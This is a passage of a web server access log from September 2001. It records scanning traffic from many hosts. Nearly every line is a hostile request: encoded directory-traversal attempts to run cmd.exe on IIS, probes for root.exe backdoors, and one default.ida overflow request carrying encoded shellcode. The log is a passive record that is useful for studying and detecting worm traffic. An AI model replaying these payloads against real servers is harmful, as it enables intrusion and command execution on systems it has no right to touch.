  13012. 20010920 09:55:23:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13013. 20010920 09:55:41:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13014. 20010920 09:55:59:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13015. 20010920 09:56:18:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13016. 20010920 09:56:36:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13017. 20010920 09:56:54:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13018. 20010920 09:57:13:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13019. 20010920 09:57:31:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13020. 20010920 09:57:50:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13021. 20010920 09:58:08:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13022. 20010920 09:58:26:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13023. 20010920 09:58:44:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13024. 20010920 09:59:03:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13025. 20010920 09:59:21:  [128.163.77.45] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13026. 20010920 09:59:40:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13027. 20010920 09:59:58:  [128.163.77.45] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13028. 20010920 10:00:16:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13029. 20010920 10:00:35:  [128.163.77.45] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13030. 20010920 10:00:53:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13031. 20010920 10:01:11:  [128.163.77.45] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13032. 20010920 10:01:30:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13033. 20010920 10:01:48:  [128.163.77.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13034. 20010920 10:02:07:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13035. 20010920 10:02:25:  [128.163.77.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13036. 20010920 10:02:43:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13037. 20010920 10:03:02:  [128.163.77.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13038. 20010920 10:03:20:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13039. 20010920 10:03:38:  [128.163.77.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13040. 20010920 10:03:57:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13041. 20010920 10:04:15:  [128.163.77.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13042. 20010920 10:04:34:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13043. 20010920 10:04:53:  [128.163.77.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13044. 20010920 10:05:11:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13045. 20010920 10:05:29:  [128.163.77.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13046. 20010920 10:05:48:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13047. 20010920 10:06:06:  [128.163.77.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13048. 20010920 10:06:24:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13049. 20010920 10:06:43:  [128.163.77.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13050. 20010920 10:07:01:  [128.163.77.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13051. 20010920 10:07:19:  [128.163.77.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13052. 20010920 10:07:38:  [128.163.77.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13053. 20010920 10:07:56:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13054. 20010920 10:08:38:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13055. 20010920 10:08:57:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13056. 20010920 10:09:15:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13057. 20010920 10:09:34:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13058. 20010920 10:09:52:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13059. 20010920 10:10:10:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13060. 20010920 10:10:28:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13061. 20010920 10:10:47:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13062. 20010920 10:11:05:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13063. 20010920 10:11:23:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13064. 20010920 10:11:42:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13065. 20010920 10:12:00:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13066. 20010920 10:12:18:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13067. 20010920 10:12:36:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13068. 20010920 10:12:55:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13069. 20010920 10:13:13: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13070. 20010920 10:20:28: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13071. 20010920 10:20:28: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13072. 20010920 10:20:28: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13073. 20010920 10:20:31: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13074. 20010920 10:20:35: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13075. 20010920 10:20:38: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13076. 20010920 10:20:41: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13077. 20010920 10:20:45:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13078. 20010920 10:26:23:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13079. 20010920 10:26:42:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13080. 20010920 10:27:00:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13081. 20010920 10:27:19:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13082. 20010920 10:27:37:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13083. 20010920 10:27:56:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13084. 20010920 10:28:14:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13085. 20010920 10:28:33:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13086. 20010920 10:28:51:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13087. 20010920 10:29:10:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13088. 20010920 10:29:28:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13089. 20010920 10:29:46:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13090. 20010920 10:30:05:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13091. 20010920 10:30:23:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13092. 20010920 10:30:42:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13093. 20010920 10:31:00: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13094. 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13095. 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13096. 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13097. 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13098. 20010920 10:37:18: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13099. 20010920 10:37:18: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13100. 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13101. 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13102. 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13103. 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13104. 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13105. 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13106. 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13107. 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13108. 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13109. 20010920 10:37:23: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13110. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13111. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13112. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13113. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13114. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13115. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13116. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13117. 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13118. 20010920 10:39:49: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13119. 20010920 10:39:49: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13120. 20010920 10:39:49: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13121. 20010920 10:39:50: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13122. 20010920 10:39:51: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13123. 20010920 10:39:51: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13124. 20010920 10:39:51: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13125. 20010920 10:39:52: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13126. 20010920 10:51:04: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13127. 20010920 10:51:04: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13128. 20010920 10:51:04: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13129. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13130. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13131. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13132. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13133. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13134. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13135. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13136. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13137. 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13138. 20010920 10:51:06: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13139. 20010920 10:51:06: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13140. 20010920 10:51:08: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13141. 20010920 10:51:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13142. 20010920 11:02:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13143. 20010920 11:02:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13144. 20010920 11:02:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13145. 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13146. 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13147. 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13148. 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13149. 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13150. 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13151. 20010920 11:02:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13152. 20010920 11:02:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13153. 20010920 11:02:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13154. 20010920 11:02:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13155. 20010920 11:02:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13156. 20010920 11:02:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13157. 20010920 11:02:42: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13158. 20010920 11:13:18: c04-036.012.popsite.net [64.24.44.36] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13159. 20010920 11:13:22: c04-036.012.popsite.net [64.24.44.36] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13160. 20010920 11:13:26: c04-036.012.popsite.net [64.24.44.36] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13161. 20010920 11:13:30: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13162. 20010920 11:13:33: c04-036.012.popsite.net [64.24.44.36] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13163. 20010920 11:13:37: c04-036.012.popsite.net [64.24.44.36] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13164. 20010920 11:13:40: c04-036.012.popsite.net [64.24.44.36] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13165. 20010920 11:13:43: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13166. 20010920 11:13:47: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13167. 20010920 11:13:50: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13168. 20010920 11:13:53: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13169. 20010920 11:13:57: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13170. 20010920 11:14:00: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13171. 20010920 11:14:03: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13172. 20010920 11:14:06: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13173. 20010920 11:14:09: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13174. 20010920 11:38:57: webserver.fs.uci.edu [128.200.135.92] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13175. 20010920 11:38:57: webserver.fs.uci.edu [128.200.135.92] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13176. 20010920 11:38:57: webserver.fs.uci.edu [128.200.135.92] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13177. 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13178. 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13179. 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13180. 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13181. 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13182. 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13183. 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13184. 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13185. 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13186. 20010920 11:39:00: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13187. 20010920 11:39:00: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13188. 20010920 11:39:00: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13189. 20010920 11:39:00: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  13190. 20010920 12:04:42: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13191. 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13192. 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13193. 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13194. 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13195. 20010920 12:44:38: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13196. 20010920 12:44:38: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13197. 20010920 12:44:38: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13198. 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13199. 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
